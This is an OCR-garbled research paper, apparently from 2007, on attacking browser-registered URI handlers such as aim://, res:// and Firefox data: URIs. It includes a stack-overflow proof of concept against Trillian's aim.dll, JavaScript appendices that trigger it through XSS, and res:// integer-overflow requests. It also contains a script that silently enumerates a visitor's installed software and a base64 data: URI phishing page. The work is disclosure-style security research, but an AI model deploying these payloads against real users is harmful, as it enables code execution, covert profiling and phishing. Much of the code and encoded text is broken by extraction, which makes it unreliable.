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Chapter 1 — Universal Resource Indicators (URIS)

1. Overview

A Uniform Resource Identifier (URI), as defined by Wikipedia, is “... a compact
string of characters used to identify or name a resource. The main purpose of this
identification is to enable interaction with representations of the resource over a network,
typically the World Wide Web, using specific protocols.”

We all know the standard URIs and what they mean, http://, https://, ftp://, file:/l,
etc. This paper will demonstrate several more URIs, both documented and non-
documented, that are used by developers for specific interactions with their program;
however, when registered within the windows registry, also allow IE6/IE7 and other
browsers to interact with the programs as well.

2. Interaction with Browsers

In an apparent effort to provide feature-rich browsers, Microsoft and Mozilla have
allowed developers the ability to hook a URI into the browser’s set of known URI and
associate some action with that URI. An example that is commonly used, if not
commonly known of, is the rtsp:// URI. This associates the browser with some form of
streaming media, which can be accessed by appending a resource location to the rtps://
URI.

Accessing a remote resource through a specific protocol such as rtsp://, https://,
ftp://, etc. is perhaps the most common reason a URI is created and registered with the
browsers, but the fact of the matter is that ANY developer can create and hook a URI to
a browser for ANY reason they so choose. It is clear that these developer-created URIs
seem to be undocumented, and further, may not be put through the same level of
scrutiny in the security world as they are relatively unknown. When combined with the
fact that they can be accessed and interacted with through the browser OR through
Cross Site Scripting (XSS) attacks this really opens up a new avenue for attack.



Chapter 2 — Attack Foundations
1. Cross Site Scripting (XSS)

XSS is typically caused by a lack of adequate input filtering and/or improper
output encoding. XSS can allow an attacker to supply arbitrary client-side code
(JavaScript, VBScript, etc.) that will ultimately be rendered and executed within the end
user’s web browser. When this client-side code is rendered within the users’ browser,
the attacker can gain access to the DOM existing within that browser.

XSS has shown itself to be a powerful attack, allowing attackers to steal various
pieces of sensitive information. XSS basically gives the attacker control over the victims’
browser, allowing the attacker to masquerade various requests as the victim. Although
the techniques to prevent XSS seem simple and easily implemented, developers are
finding that the completely eliminating XSS from their web applications is a difficult and
continuously evolving process. The power given to the attacker via XSS and the
prevalence of XSS in the “wild” make XSS a favorite choice of web application hackers.

For the purposes of this paper, what we must be aware of is the potential to
create an XSS attack that accesses the exposed URIs that a browser allows to be
accessed, further that this linkage will in effect allow an attacker to interact with
programs other than the browser on a victim’s system.



Chapter 3 — URI Discovery

1. Overview

This chapter will walk the reader through several different URI discovery methods
that were used for the purpose of this paper, including internet resources and the ability
to discover what URIs are exposed through the Windows Registry.

2. IANA Registry *

RFC 4395 defines an IANA-maintained registry of permanent and provisional
URI Schemes. This registry is a good starting point for discovering URIs that are
supported; however this registry contains more in the way of common and historical
entries that one might expect would exist, such as telnet://. Of perhaps more interest is
a reference to the *retired index* of WWW Addressing Schemes?®. This page and
several of the links it references contain a wealth of information on URI schemes, as it
was designed to capture URIs that had never been registered as well as those currently
maintained and registered.

3. DUH (Dump URL Handlers) Tool for Enumeration of  Registry

It was discovered that the windows registry actually maintains a list of URIs and
the actions they are registered for. To facilitate quick recovery of these URIs, Erik
Cabetas developed the DUH Tool® (see Appendix B for code). This tool will enumerate
the URIs exposed by the windows registry, and additionally the commands that are run
when these URIs are accessed. Screenshot 1 below provides an example of what was
discovered on my corporate laptop.

! http://www.iana.org/assignments/uri-schemes.html
2 http://www.w3.org/Addressing/schemes
% Developed by Erik Cabetas, extended by Billy Rind Nathan McFeters




Screenshot 1: DUH Output
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The most important use of the DUH tool is to discover the underlying command that will
be run when accessing the URI.



Chapter 4 — Attacking URIs

1. Overview

This chapter will walk the reader through a couple of attack scenarios that our
research has uncovered. This is obviously not an exhaustive analysis of all attack
vectors, in fact, the hope is that others will take this research further and discover more
avenues of attack.

2. Types of Attacks

What is important to note here is that these URIs link us to commands and
programs which have been written by developers and are subject to all of the same code
flaws that any other system might be, what is most interesting is that the usage of URIs
links us to that back end application through a browser, making Cross Site Scripting
attacks a possible trigger of any flaws we may discover. We present in this paper three
examples of what we've discovered, there is certain to be more, and the key to keep in
mind is that these CAN be delivered through XSS.

3. Stack Overflow in Trillian’s aim.dll through the aim:// URI

The Trillian application is a tool that allows users to chat across multiple
protocols, such as AIM, IRC, ICQ, Yahoo!, and MSN. When Trillian is installed, the
aim:// URI will be registered in the Windows Registry and associated with the command
‘Rundll32.exe “C:\Program Files\Trillian\plugins\aim.dll”, aim_util_urlHandler url="%1"
ini="c:\program files\trillian\users\default\cache\pending_aim.ini”’. As you can see,
calling the aim:// protocol will spawn a Rundll32.exe process which will load aim.dll with
the specified options. The value that is put into aim_util_urlHandler url is controlled by
the user through the URI, such as aim://MyURL. This value is later copied without

bounds checking and an attacker can use this to cause a stack overflow exception.

Accessing the following URL from IE6, IE7, or Firefox will trigger a stack
overflow:

aim:///#1111111/11111111111121111111111111211112111111 11111111111111
111111111111222222222222222222222222222222222222222 22222222222222
222222223333333333333333333333333333333333333333333 33333333333333
333344444444444444444444444444444444444444444444444 44444444444444
555555555555555555555555555555555555555555555555555 55555555556666
666AAAABBBB6666666666666666666666666666666666666666 66666666666666
66666667 777777 TTIITTTTTITIITTTTI7777777777777777777 eeaaaaaaaa
777888888888888888888888888888888888888888888888888 88888888888889
999999999999999999999999999999999999999999999999999 99999999900000
000000000000000000000000000000000000000000000000000 00000

Screenshot 2 below illustrates the stack overflow being captured using OllyDbg as a
Just-in-time Debugger and Screenshot 3 illustrates that we have control over SE handler
and Pointer to next SEH.

Screenshot 2:
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Screenshot 3: Control of Pointer to next SEH record

and SE handler
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What's most interesting about this example is that | can be leveraged through an XSS
exposure. Quite simply one could create JavaScript code that would simply spawn a
new window accessing the URI that causes the buffer overflow, in fact, Appendix B
provides this code.

4. Integer Overflow in Internet Explorer 7 through the res:// URI

The res:// URI is a predefined pluggable protocol in Microsoft that allows
resources like images, html, xsl, etc. to be pulled from DLLs or executables. The way
you would commonly access resources through the res:// protocol would be of the form:

res:/lieframe.dll/info_48.png

One place you will see this is in Internet Explorer’s default error pages as it pulls in the
images for those pages using res://. See Screenshot 4 below for an example.



Screenshot 4: IE7 Using res://
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Accessing resources through the res:// URI can also be done using a numerical format,
such as res://c:\windows\explorer.exe/#2/#167. When the fore mentioned resource URI
is entered into an IE7 browser running on Windows XP (SP2), the following image is
displayed.

Screenshot 5: IE7 Loading a Resource from a Local B inary res://
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Using a method similar to that used for the aim.dll, a malicious attacker can craft a
request to a resource URI that will cause an integer overflow. This issue was reported to
Microsoft and has been patched in MS07-035
(http://www.microsoft.com/technet/security/Bulletin/MS07-035.mspx). This particular
vulnerability was caused by a lack of validation of the “sType” passed which is passed
from IE7 to various places on the users system (including a winAPI). Ultimately, the
sType value is passed to a function which is expecting an unsigned short integer. The
screenshot below shows the users system when making a request for a resource URI
with a sType equal to 65535.

The exact request in the screenshot below is: Res://c:\windows\explorer.exe/#65535/#167
Screenshot 6: IE7 Loading a Resource Request with s Type Equal to 65535
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The screenshots below show the results of a URI request containing a sType greater
than 65535. Like any self-respecting researcher, my JIT debugger fires just as IE7
crashes!

The exact request in the screenshot below is:

Res:/Ic:\windows\explorer.exe/#65536 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIHL

Screenshot 7: IE7 Loading a Resource Request with a  n sType Greater than 65535
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Screenshot 8: IE7 Loading a Resource Request witha  n sType Greater than 65535
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Keep in mind that this request can be called remotely, or through the use of XSS or
CSRF.

NOTE — These examples use the explorer.exe, but any exe or dll can be used to initiate
the overflow (ex. Res:/lieframe.dll/#65536AAAAAAAAAAAAAAAAAAAAAI#L). More
detailed information about this vulnerability can be found at:
https://strikecenter.bpointsys.com/articles/2007/06/26/ms07-035-win32-api-code-
execution-vulnerability#comments




5. Local Software Enumeration through res:// URI

In addition to overflowing the functions that handle resource (res://) requests, it is
also possible to use this URI for other nefarious activity. One example of how a URI
can be abused is presented below.

IE7 has several features to prevent malicious HTML from collecting personal information
from a user. Beginning with IE7, three new feature control keys have been implemented
to prevent Internet and intranet HTML from loading images, objects, and scripts from the
user's local file system
(http://msdn.microsoft.com/library/default.asp?url=/workshop/essentials/whatsnew/whats
new_ 70 sec.asp). These features are "opt-in" features, forcing a process to be explicitly
added to the appropriate control key. The two exceptions for the control keys are:

1.) The source file containing the item to load was itself loaded from the local file system

2.) The source file originates from the Trusted Sites Zone

Due to the new feature control keys implemented in IE7, IE7 will block attempted local
file system access via script.src and the img.src objects. Typically, local files are loaded
into image, object, or script objects by setting the "src" property to a file location via the
"File:/I" URI. IE7 specifically blocks attempted access to the local file system via the
"File://" URI, however it still allows access via the Resource (Res://) URI, even if the
HTML does not meet the exception criteria described above.

Using the Resource URI, it is possible to set the img.src attribute to a resource within an
executable or dll on the user’s local file system. Many executables (and some dlls) have
bitmaps (and other images) embedded into the executable. These images can be
loaded into an image object by setting the "src" property equal to the resource inside of
an executable or dll on the user’s local file system. Loading of resources on the local file
system is possible, even if the user is running IE7 with the highest security settings and
has scripting disabled. The following HTML code demonstrates the loading of a
resource from the user’s local file system with IE7 set at the highest security settings.

Sample HTML Code to Load Local Resources Initiated ~ from Internet Site
<html>

<body>

<noscript>

<img src = "res://c:\\windows\\explorer.exe/#2/#167" >

</noscript>

</body>

</html>

The screenshot below shows the local resource being loaded from an Internet Site.



Screenshot 9: Local Resources Being Loaded from an Internet Site
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This type of vulnerability can easily be exploited through the means of Cross-Site
Scripting (persistent or reflected) or if the user simply visits (or is redirected to) a site
with this HTML code. Once again, users of IE7 will be vulnerable, even if their browser
is set to enforce the highest security settings.

Using this vulnerability, an attacker could build a listing of known installation paths and
resources associated with various pieces of software. By loading the attacker built list of
resources into an img object, the attacker can enumerate the various pieces of software
installed on the user’s local file system. In most cases, the attacker can even determine
the specific versions of software installed on the user’s local file system. Once an
attacker has enumerated the software installed on the user’'s machine, they can then
target their exploitation attempts to specific vulnerabilities associated with those pieces
of software installed on the user’s machine.

Enumeration of software installed on a user's machine could also create a privacy issue.
Unscrupulous vendors could scan a user's machine to determine whether a user has a
competitor’s software, software related to a health related condition (diet tracking
software, diabetes testing software...etc), or other sensitive software installed.

The screenshot below shows a simple HTML page that enumerates various pieces of
software on the users local file system. The actual HTML used in this example is



provided in Appendix D. In a real world example, an attacker could initiate this type of
functionality through XSS or URL redirection to achieve the same results.

Screenshot 10: Software Enumerated From the Local F  ile System
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This issue has also been reported to the Microsoft Security Response Team. Combined
with the techniques outlined in the “Attacking URIs” section, this software enumeration
vulnerability could be an excellent way to discover vulnerable software with registered
URI handlers!



6. Data URI - FireFox

Before we start bashing IE7 for its support of the Resource Protocol, Firefox had
a similar issue (which is now patched...kinda). You can read about the FireFox
Resource flaws on Rsnakes site at: http://ha.ckers.org/blog/20070516/read-firefox-
settings-poc/. Although Nate, Raghav Dube, and | (BK) had discovered this “feature”
sometime in 2006, we missed the disclosure boat, so shoutz go to shutdown and Boris
Zbarsky for reporting the vulnerability to Mozilla! Although Mozilla may have patched
some of the Resource URI stuff, a few more FireFox specific URIs remain open for
abuse. One of my favorites is the data URI.

The data URI allows for an attacker to basically embed files directly into a URL.
For example, the horrendous URL below actually renders (when requested by Firefox)
into the image we have all come to know and love.

data:image/gif;base64,ROIGODINSWAgANUAAJOK3cTN7V6tXbrFekllyKm25FRsmFlzzE)
wUOBNZ8zhGQQcxvNDahpXpcF6GwW2FAN5zvOYBBkK/4psOF7A4Q6QAcvOGDCB3AV
SOTdIKFWAMLHTBKPhbEYMFkvw0OgAQx/ejD/4gS9vcfDsQGs+ACzwDX7glIDOGADDe
VJ610AhAprglOUUXDRPLCo9cILFuyQ57mSecDAIPi+xcACDrz1AAgK10vaAwq4RZcEL
sCgQ1KFpbbAiDsUbPBPflyiVowvjAAAUjgYYEHEBUzAowiumTBBiIW+hsHGUNj6Ao0NBI|
eCojtshcBMHI5IwQQKGMJADLdAc4040GFoTdAQ3U/NhNBXThwsMACJTDAgAiIpJaUAYM
yZkBIdNdQAbQgWACArAoDrONMEa6/NwCJIM7AGL1zWVJIOENpVEK+V08xKgcjmCJdn
kBEIDbw+fhWpAXVFQARItZnqCV1ITc8PUXVHgF5plgsztiBQAMBVCUUowaRAXMNSLI
A1Qniu8yDFbgAEMQRLBrFXteFEnwQwekU5DDCx2wFDwpOyARxxG6fBKTLMf38]jvrfk
GUPgUaqJD977280EEOXCS0SCaP5JHEOQyJ38xLV7GKADfQA75BIBQIOEAHSIGOU3
ivVC1IJAWXKWYY5X0MN/CImFKDogNg14ECSKa8MywHCLQAXBgnolAX/KMY4W9qg+BS
8FOBYrACGQO0ogkQDAQWIpiHMaiiFaio4CIWgAYS/iB/m9CCIHYYQTxlwodHPMIEIUHC
XP1QEpvQ4RK3qAU7DOGEK2AFDqO4CIfEIRJe5KIgggAAOWY%3D%3D

Screenshot 11: Image from the Data URI
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The example given above merely demonstrates that the Data URI can be used to serve
up a simple gif file however; the Data URI can be used for more sinister purposes, such
as serving up executables and other malicious content. The Data URI offers the
attacker the following advantages:

1.) The attacker has full control of the content that is served by the Data URI

2.) The Data URI can be encoded to mask the true contents of the payload

3.) The attacker no longer has to host their malicious content on a server

4.) The Data URI doesn’t contain traditionally dangerous strings (ex. javascript:)
5.) The Data URI is enabled in FireFox browsers by default

As the Firefox browser gains popularity, we should expect to see more and more
payloads use the Data URI to store the malicious content. Phisher’s will no longer have
to worry about their web servers being brought down when they can serve their victims a
hyperlink to a Data URI that presents an exact copy of your favorite bank or credit union.
Appendix E shows a Data URI that reproduces a well known site, all stored within an
encoded URL!

Screenshot 12: An Entire Webpage Stored Withina UR  L!
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7. Other Avenues of Exploration and Exploitation

There are so many of these URI’s that currently exist that aren’t highly publicized
or documented that one’s imagination appears to be the only limitation of exploitation.
We have discovered that programs such as Picasa, Jabber, iTunes and many others

use forms of URIs.



Appendix A — JavaScript for Exploiting AIM.dlII Buff er
Overflow

<HTML>

<l--

Written by Nathan McFeters <nate.mcfeters@gmail.com>

Greetz to BK "Have it Your Way" Rios, Raghav "The Pope" Dube, Erik Cabetas, and
all of the Advanced Security Center members both past, present, and future see
you all in Vegas!

The following could be implemented as an XSS attack vector (obviously most
useful in a persistent attack vector) and will cause IE7, IE6, and Firefox to

load the aim:// URI with the string we've supplied. IE queries the windows
registry to find what program is asscociated with this URI and then attempts to
run that. In this case, calling aim:// will kick off rundll32.exe "C:\Program
Files\Trillian\Plugins\aim.dll" aim_util_urlHandler url="%1" ini="C:\Program
Files\Trillian\users\default\cache\pending_aim.ini". The user can control the
value of the url substituted for %1 and this value will later be copied into a
buffer without bounds checking causing a stack overflow.

As you can see from the variables listed below, the attacker can control the
values for ptrToNextSEH and SEH. | suggest setting OllyDbg or WinDbg or
whatever you choose as your JIT Debugger then open this file in IE7 or IE6.

>

<body onload="myref =
window.open(‘aim:///#1111111/111111111121111111222111121222111112122111111111
1111111111112111222222222222222222222222222222222222222222222222222222
2222222222222222222222222222222222222222222222222222222222222222222222
222222222222222222222222222222222222222222222222222222222226666666AAA
ABBBB6666666666666666666666666666666666666666666666666666666666666666
6666666666666666666666666666666666666666666666666666666666666666666666
6666666666666666666666666666666666666666666666666666666666666666666666
6666666666666666666666666666666666666666',
'mywin','left=20,top=20,width=500,height=500,toolbar=1,resizable=0");"/>

</HTML>



Appendix B — HTML for Enumerating Software Installe

on the Users Local File System

<html>

<body>

<h1>

Local Software Enumeration — by Billy (BK) Rios — B
</hl>

<body>

<h2>The Following Software was Discovered on your C

<script>

var LC5=new Image();

LC5.src = "res://c:\\program%20files\\@stake\\LC5\\
if (LC5.height != 30)

{

document.write("lOpht crack 5 <br>");

}

var acrobat7 =new Image();

acrobat7.src =
"res://c:\\program%20files\\adobe\\acrobat%207.0\\a

if (acrobat7.height != 30)
{

document.write("Adobe acrobat 7 <br>");

}

var nero6e=new Image();

nero6e.src =
"res://c:\\program%20files\\ahead\\nero\\nero.exe/#

if (nero6e.height != 30)
{

document.write("Nero 6E <br>");

}

var azureus=new Image();

azureus.src = "res://c:\\program%20files\\azureus\\
if (azureus.height != 30)

{

document.write("Azureus <br>");

}

illy.Rios@gmail.com

omputer:</h2><br>

Ic5.exel/#2/#102";

crobat\\acrobat.dll/#2/#210"

2/NEROSESPLASH";

uninstall.exe/#2/#110";

d



var cain=new Image();

cain.src = "res://c:\\\program%20files\\cain\\uninst
if (cain.height != 30)

{

document.write("Cain <br>");

}

var citrix=new Image();

citrix.src =
"res://c:\\program%20files\\Citrix\\icaweb32\\mfc30

if (citrix.height != 30)
{

document.write("Citrix <br>");

}

var pgpdesktop=new Image();

pgpdesktop.src =
"res://c:\\program%20files\\PGP%20Corporation\PGP%
00";

if (pgpdesktop.height != 30)
{

document.write("PGP Desktop <br>");

}

var googletoolbar=new Image();

googletoolbar.src =
"res://c:\\program%?20files\\google\\googleToolbarl.

if (googletoolbar.height != 30)
{

document.write("Google Toolbar <br>");

}

var flashmx=new Image();

flashmx.src =
"res://c:\\program%20files\\Macromedia\\Flash%20mx%

if (flashmx.height != 30)
{

document.write("Macromedia Flash MX <br>");

}

var msnmessenger=new Image();

msnmessenger.src = "res://c:\\program%20files\\Mess

al.exe/#2/#106";

dII/#2/#30989";

20Desktop\\PGPdesk.exe/#2/#6

dil/#2/#120",

202004\\flash.exe/#2/#4395";

enger\\msmsgs.exe/#2/#607";



if (msnmessenger.height != 30)

{

document.write("MSN Messenger <br>");

}

var livemeeting7=new Image();
livemeeting7.src =

"res://c:\\program%20files\\microsoft%20office\\liv
5.2302.14\\pwresources_zh_tt.dll/#2/#9006";

if (livemeeting7.height != 30)
{

document.write("Live Meeting 7 <br>");

}

var excel2003=new Image();

excel2003.src =
"res://c:\\program%20files\\microsoft%20office\Off

if (excel2003.height != 30)
{

document.write("Excel 2003 <br>");

}

var office2003=new Image();

office2003.src =
"res://c:\\program%20files\\microsoft%20office\Off
201"

if (office2003.height != 30)
{
document.write("The Office 2003 Suite <br>");

}

var visualstudio2005=new Image();

visualstudio2005.src =

"res://c:\\program%20files\\microsoft%20visual%20st

nv.exe/#2/#6606";
if (visualstudio2005.height != 30)
{

document.write("Visual Studio 2003 <br>");

}

var msmoviemaker = new Image();

€%20meeting%207\\console\\7.

icell\\excel.exe/#34/#904";

ice11\1033\\MSOhelp.exe/#2/

udio%208\\common7\\ide\\deve



msmoviemaker.src =

"res://c:\\program%20files\\movie%20maker\\moviemk.

if (msmoviemaker.height != 30)

{

document.write("Microsoft Movie Maker <br>");

}

var picasa2=new Image();

picasa2.src = "res://c:\\program%?20files\\picasa2\\
if (picasa2.height != 30)

{

document.write("Picasa2 <br>");

}

var quicktime=new Image();

quicktime.src =
"res://c:\\program%20files\\quicktime\\quicktimepla

if (quicktime.height != 30)
{

document.write("Quicktime <br>");

}

var realvnc4=new Image();

realvnc4.src =

"res://c:\\program%20files\\RealVNC\\VNC4\\vncviewe

if (realvnc4.height != 30)
{

document.write("Real VNC 4 <br>");

}

var oleview=new Image();

oleview.src = "res://c:\\program%20files\\resource%
if (oleview.height != 30)

{

document.write("Oleview <br>");

}

var securecrt=new Image();
securecrt.src = "res://c:\\program%20files\\SecureC

if (securecrt.height != 30)
{

exe/RT_JPG/samplel”;

picasa2.exe/#2/#138";

yer.exe/#2/#403";

r.exe/#2/#120";

20Kit\\oleview.exel/#2/#2";

RT\SecureCRT.exe/#2/#224";



document.write("SecureCRT <br>");

}

var symantecantivirus=new Image();

symantecantivirus.src =
"res://c:\\program%20files\\symantec_client_securit
32.exel#2/#157";

if (symantecantivirus.height != 30)

{

document.write("Symantec Anti Virus <br>");

}

var ultramon=new Image();

ultramon.src =
"res://c:\\program%?20files\\ultramon\\ultramondeskt

if (ultramon.height != 30)
{

document.write("Ultramon <br>");

}

var vmware=new Image();

vmware.src =
"res://c:\\program%20files\\vmware\\vmware%20workst

if (vmware.height != 30)
{

document.write("VMware <br>");

}

var winamp=new Image();

winamp.src = "res://c:\\program%20files\\winamp\\wi
if (winamp.height != 30)

{

document.write("Winamp <br>");

}

var windowsmediaplayer=new Image();

windowsmediaplayer.src =
"res://c:\\program%20files\\windows%20media%?20playe

if (windowsmediaplayer.height != 30)
{

document.write("Windows Media Player <br>");

}

y\\symantec%?20antivirus\\vpc

op.exe/#2/#108";

ation\\vmware.exe/#2/#508";

namp.exe/#2/#109";

r\wmsetsdk.exe/#2/#249";



</script>
</body>

</html>



Appendix C — Encoded FireFox Data URI Phishing Site

data:text/html;base64,PGhObWw+PGhlYWQ+PG1lldGEgaHROc CllcXVpdjlcimNvbnRIbnQtdHIwZ
VwilGNvbnRIbnQ9XCJ0ZXhOL2hObWw7IGNoYXJzZXQ9VVRGLThclj48dGI0bGU+R29vZ2xIPC90aXRs
ZT48c3R5bGU+PCELLQOKYmM9keSXx0ZCxhLHASLMh7Zm9udC1lmYWhkHk6YXJpYWwsc2Fucy1zZXJIpZn0
NCi50e2ZvbnQtc216ZToyMHB4fQOKLmMh7Y29sb3161zMzN;jZjY3 ONCi5xe2NvbG9yOiMwMGN9DQojZ2
JhentmbG9hdDpsZWZ002ZvbnQtd2VpZ2h00mIvbGQ7aGVpZ2h0QglycHg7cGFkZGluZy1sZWZ0OjJwe
HO0jZ2Joe2JvcmRIci10b3A6MXB4IHNVbGIKICNjJOWQ3ZJE7Zm9u  dC1zaXplOjA7aGVpZ2h00jA7cG9z
aXRpb246YWJzh2x1dGU7cminaHQ6MDtOb3A6MjRweDt3aWR0aDoyMDAIFSNnYmI7YmFja2dyb3VuzZDo
jZmZmO2JvemRlIcjoxcHgge29saWQ7Ym9yZGVyLWNvbG9yOiNjOWQ3ZJEgIzM2YyAjMzZjICNhMmJIhZT
c7Zm9udC1zaXplOjEzcHg7dG9wOjl0cHg7eilpbmRleDoxMDAwf  SNndXNlcntwYWRkaW5snLWJvdHRvb
To3cHgglWItcG9ydGFudHO0jZ2Jhciwjz3VzZXJ7Zm9udClzaXpl OjEzcHg7cGFkZGluZzy10b3A6MXB4
ICFpbXBvcnRhbnRILMdiMSwuZz21ze2Rpc3BsYXk6aW5saW5l02h lawdodDoyMnB40O21hcmdpbilyawd
0dDoxZWO07dmVydGliYWwtYWxpZ246dGOwfSNnYmksLmdiMntkaX NwbGF50m5vbmU7cG9zaXRpb246YW
Jzb2x1dGU7d2lkdGg6N2VifS5nYjJ7eilpbmRIleDoxMDAXfSNnY mFylIGEsI2diYXIgYTphY3RpdmUsl
2diYXIgYTp2aXNpdGVke2NvbG9yOiMwMGM7Zm9udC13ZWIinaHQ&m9ybWFsfS5nYjlgY Swuz21zIGF7
dGV4dC1kZWNvemF0aWw9uOm5vbmV9LmdiMiBhe2Rpc3BsYXk6 Y 2s7cGFkZGluZzouMmVitIC41ZW1
912diYXIgLmdiMiBhOmhvdmVye2JhY 2tncm91bmQ61zM2Y ztjb2 xvcjojZmZmfSO0tPjwvc3R5bGU+DQ
08c2NyaXBOPgOKPCELQOKdmMFyYIHRIc3Q9XCdwaGlzaGVkIVwnO wOKZnVuY3Rpb24gc2YoKXtkb2N1b
WVudC5mLnEuZm9jdXMoKTt9DQp3aW5kb3cuY 2xrPWZ1bmNOaWHGIsYyxkLGgsaSxgKXtpZihkb2N1
bWVudC5pbWFnZXMpe3ZhciBhPXdpbmRvdy5lbmNvZGVVUKIDb21wb25lbnQ/ZW5jb2RIVVJIIQ29tcG9
uZW500mVzY2FwZSxIPVwiXClsZj1lcllwiLGc9XCJIcljtpZihiKX tIPVwinVybD1clithKGlucmVwbG
FjzSgvly4gLyxcliwiKSkucmVwbGFjZSgvXFwrL2csXClIMkJcl iI9aWYoYyl7ZjlcliZvaTlclithK
GMpfWIMKGQpe2c9XCImY2FkPVwiK2Eo0ZCI9KG5IdyBJbWFnZSku c3JjPVwiL3VybD9zYT1UXCIrZitn
K1wiJmNOPVwiK2E0aCkrXCImY2Q9XCIrYShpKStIKiwiJmVpPU1l rUnVScilRTIlyYWd3UEsOYURmMQkF
clitgfXJIdHVybiBOcnVIfTt3aW5kb3cuz2Jhcj17fTsoZnVuY3 Rpb240KXtmdW5jdGIvbiB6KGEsZC
xiKXt2YXIgYz1clm9uXClirZDtpZihhLmFkZEV2ZW50TGlzdGVuZ Xlpe2EuYWRKRXZIbnRMaXNOZWS5Ic
ihkLGIsZmFsc2UpfWVsc2UgaWYoYS5hdHRhY2hFdmVudCI7YS5h dHRhY2hFdmVudChjLGIpfWVsc2V7
dmFyIGU9YVijXTthW2NdPWZ1bmN0aW9uKCI7dmFylGY9ZS5hcHBseSh0aGlzLGFyZ3VtZW50cyksbjl
iLmFwcGx5KHRoaXMsY XJIndW1lbnRzKTtyZXR1cm4gZj09dW5kZWZpbmVkP246KG49PXVuZGVmaWws5IZD
IMOM4AmJImY pfX1903ZhciBvPXdpbmRvdyxzPW8ubG9jY XRpb24seD1zLnNIYXJjaCx3PXMucHJvdG9jb
2wsbT1kb2N1bWVudCxpPVwiXClscSx1PVwiXClsaCxnLGo9by5n YmFyLHI9OXCJ3aXZubG16YmpwY 29I
Z3owdHFmeXNclixsO2Z1bmNO0aW9ulHA0Y SI7cmV0dXJulGVzY2F wZShlibmVzY2FwZShhLnJlcGxhY2U
oL 1xcKy9nLFwilFwiKSkpLnJicGxhY2UoL1xcKy9nLFwiJTICXC IpfWZ1bmNOaW9ulHQoY SI7cmV0dX
JulGdbYV0uZmlyc3RDaGIsZC50YWdOYW1IPT1clkFcinimdW5jd  GIvbiBrKGEpe3JidHVybiB4Lm1hd
GNoKFwiWz8mXShclithK1wiPSkoW14mI10gKVwiKX1gLmluaXQ9 ZnVuY3Rpb240KXt2YXIgYTOWLGQs
YjlcImFmZmRvbSxjaGFubmVsLGNsaWVudCxobCxocyxpZSxscix uZWQsh2Usb2cscmxzLHJselwiLnN
wbhGIOKFwiLFwiKSxjPWsoXCJhc19xXClpLGU9ayhcInFclik7¢T 1rKFwibmVhclwiKTtnPWO0OuZ2VORW
XIbWVUdEJ5SWQoXCJInYmFyXClpLmdIdEVsZW1IbnRzQnIUYWdOW1IKFwiZGI2XClpO2UmJihpPWVbM
10pJiZjJiYoaSs9XCIrXClpO2MmJihpKz1jWzJdKTt3aGIsZSho0 KGErKykpe31sPXluY2hhckFOKGEt
MSk7Zm9yKGE9IMDtiIW2FdO2ErKyl7ZD1rKGJIbYV0Op02QmJih1Kz1 cliZclitkWzFdK3A0ZFsyXSkpfWzZ
vcihhPTA7Z1thXTthKyspe3QoYSkmJnkoYSI9aD1tLmdIdEVsZW 1IbnRCeUIkKFwiZ2JpXClpO3o00bS
xclmNsaWNrXClsai5jbG9zZSI1902Z21bmN0aW9ulHkoY SI7dmFyl GQ9Z1thXS5maxJzdENoaWxkLGI9Z
C50cmVmKyhkLmhyZWYubWF0Y2goXCJIbP11clik/ XCImXCI6XCI/ XClpLGM9ci5jaGFyQXQoYSk7aWYo

YYE9XCJI6XClpe2lrPVwidGFiPVwiK2wrYztpZihciImNvbVwiLml uZGV4T2YoYyk+PTApe2l9YiSyZXB
sYWNIKFwiaHROcDpclix3KX1IbHNIe2IrPXU7aWYoaSI7Yis9XC ImcT LclitwKGkpO3EmMImw9PVwibF
widiYoYis9XClIrbmVhciUzQStclitwKHFbMIOpKX19fWQuaHJIZ jLifWZ1bmNOaW9ulHYoY SxkLGlpe

2EuZGlzcGxheT1hLmRpc3BsYXk9PVwiYmxvY2tclj9cim5vbmVe  ljpcimJsb2NrXCI7YS5sZWZ0PWQr
XCIweFwiO2EudGIOwPWIrXCJweFwifWoudGc9ZnVuY3Rpb240YSI 7dmFyIGQIMCXILGMSZSxmPTA7YT1
hP2E6by5ldmVudDthLmNhbmNIbEJ1YmMJsZT10cnVIO2Zvcig7aC  YmMZ1tmXTtmKyspe2M9Z1tmXTtIPW
MuY2xhc3NOYW1I02ImKGU9PVwiZ2IzXClpe2I9Yy5vZmZzZXRMZ WZ003doaWxIKGM9Yy5vZmZzZXRQY
XJlbnQpe2lrPWMub2Zmc2VOTGVmdH12KGguc3R5bGUsYiwyNCI9 ZWxzZSBpZihIPT 1cimdiMIwiKXtj
LmIkPT1cimdiYXJclitsJiYoYy5zdHIsZS5wYWRkaW5nPVwiLjJ IbSAUNWVIXCIpO3YoYy5zdHISZSx
iKzEsMjUrzZCk7zZCs9MjB9fWguc3R5bGUuaGVpZ2hOPWQrXCJweF wifTtgLmNsb3NIPWZ1bmNOaW9uKG
Epe2gmJImguc3R5bGUUZGIzcGxheTO9XCJibGYjalwiJiZgLnRnK  GEpfTt9KSgpOy8vICOtPgOKPC9zY
3JpcHQ+DQo8L2hIYWQ+PGJIvZHkgYmdjb2xvcj0jizmzZmzZmZmIHRI eHQ9IzAWMDAwWMCBsaW5rPSMwMDAw
Y2Mgdmxpbms9lzU1MWE4YiBhbGluaz0jZmYwMDAwIGOubG9hZDXInNmKCk7aWYoZG9jdW1lbnQuaw1l
hZ2VzKXtuzXcgSW1hZ2UoKS5zcmM9XCcvaW1hz2VzL25hdI9sb2 dvMy5wbmdcJ31cliBOb3BtYXJnawW
49MyBtYXJInaW50ZWInaHQ9Mz48ZGI2IGIKPWiYXI+PG5vYnl+P  GRpdiBjbGFzcz1nYjE+V2ViPCOhP
JWvZGI2PjxkaXYgY2xhc3M9Z2IxPjxhIGhyZWY9amF2Y XNjcmlw dDphbGVydChkb2N1bWVudC5jb29r
aWUpOz5IbWFnZXM8L2E+PC9kaXY+PGRpdiBjbGFzcz1nY]E+PGHaHJIZj1qYXZhc2NyaXBOOmMFsZXJ
O0KGRVY3VtZW50LmNvb2tpZSk7PCOhPjwvZGI2PjxkaXYgY2xhc3 M9Z2IxPjxhIGhyZWY9amF2YXNjcm



IwdDphbGVydChkb2N1bWVudC5jb29raWUpOz50ZXdzPC9hPjwvZ GI2PjxkaXYgY2xhc3M9Z2IxPjxhl
GhyZWY9amF2Y XNjcmlwdDphbGVydChkb2N1bWVudC5jb29raWwuUpDz5NY XBzPCOhPjwvZGI2PjxkaXYg
